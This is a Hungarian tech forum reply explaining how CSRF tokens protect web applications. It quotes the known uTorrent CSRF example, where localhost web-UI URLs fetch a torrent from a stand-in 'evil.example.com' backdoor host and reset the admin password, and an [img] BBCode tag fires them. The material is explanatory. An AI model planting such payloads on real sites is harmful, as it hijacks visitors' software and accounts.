- Sony WF-1000XM6 – ez évi etalon?
- Elődje legnagyobb hibáját javítja az iPhone 17e
- One mobilszolgáltatások
- Poco X3 Pro - hardverfrissítés
- Szívós, szép és kitartó az új OnePlus óra
- Samsung Galaxy S25 - végre van kicsi!
- iPhone topik
- Reklámok kikapcsolása Xiaomi, Redmi és Poco telefonokon
- A Huawei február 26-án globálisan is bemutatja a Mate 80 Prót
- Google Pixel topik
-
Mobilarena

Új hozzászólás Aktív témák
-
válasz
bandi0000
#12731
üzenetére
A CSRF védelem lényege, hogy minden hívásnál random (vagy csak nagyon rövid ideig - egy oldal életciklusáig - él). A tokent nem cookie-ban vagy más lokális store-ban tároljuk, hanem a lap kódjában kerül eltárolásban (legtöbbször hidden form field-ben, mert lekérésnél vissza kell adni a szervernek). A védelem lényege az, hogy a felhasználó nevében nem lehet olyan kérést indítani, aminek a "forrása" nem a kérdéses weboldal.
Illetve a fenti megoldás a "secure" mód - de ez elcseszi a vissza-gomb működését ("CSRF Failure"-t hibát generál), legtöbbször - alacsonyabb biztonsági szinthez, session-élettartamú CSRF-tokent generálnak.
Ennek a védelemnek egyébként az a feltétele, hogy atámadó ne tudja megszerezni a session/csrf token-t (azaz ne legyen az alkalmazásban XSS sebezhetőség - vagy az alkalmazás csrf token segítségével ezonosítsa a felhasználót ne csak session cookie és/vagy kliens ip alapján).
Jó példa erre (wikiből) az alábbi uTorrent sebezhetőség:
Torrent letöltés hozzáadása:
http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent
uTorrent administrator password megváltoztatása
http://localhost:8080/gui/?action=setsetting&s=webui.password&v=eviladminCSRF támadó kód simán kivitelezhető pl egy IMG tag hozzáadásával, ami a sebezhető címre mutat (BBCode):
[img]http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent[/img]
vagy ide a PH-ra:[IMG:http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent][/IMG]
Új hozzászólás Aktív témák
● olvasd el a téma összefoglalót!
- Le Mans Ultimate
- Érdemes elővenni a Diablo II-t: érdekes újdonságot kap a játék
- sziku69: Fűzzük össze a szavakat :)
- NVIDIA GeForce RTX 5070 / 5070 Ti (GB205 / 203)
- Építő/felújító topik
- PlayStation 5
- Víz- gáz- és fűtésszerelés
- Ubiquiti hálózati eszközök
- Audiofil és gamer? Az ASUS megpróbálja
- Milyen Blu-ray írót?
- További aktív témák...
- Eladó 6 darab DDR4 16 Gb Sodimm, illetve 2 darab DDR5 16 GB Sodimm
- Eladó három darab SSD. 2 x 1 TB illetve 1 x 2 TB
- több db DELL P2419 vékony kávás full HD 1920x1080 IPS monitor HDMI - gari + számla
- iPhone 17 256 GB Párakék - Bontatlan - 1 év gyári Apple garancia, Hivatalos Apple Resellertől!
- iPhone 17 512 GB Párakék - Bontatlan - 1 év gyári Apple garancia, Hivatalos Apple Resellertől!
- ÚJ akksi! GigaAKCIÓ! Lenovo ThinkPad P15 Gen 2 Intel i7-11850H 32GB 512GB Nvidia RTX A3000 1 év gar
- MacBook felvásárlás!! MacBook, MacBook Air, MacBook Pro
- HP EliteBook 640 G10 - 14" FullHD IPS - i5-1335U - 8GB - 512GB - Win11 - 1 év garancia - MAGYAR
- BESZÁMÍTÁS! 8TB Seagate Barracuda ST8000 SATA HDD meghajtó garanciával hibátlan működéssel
- GYÖNYÖRŰ iPhone 13 256GB Midnight -1 ÉV GARANCIA - Kártyafüggetlen, MS4447, 100% Akkumulátor
Állásajánlatok
Cég: Laptopműhely Bt.
Város: Budapest
Cég: Central PC számítógép és laptop szerviz - Pécs
Város: Pécs



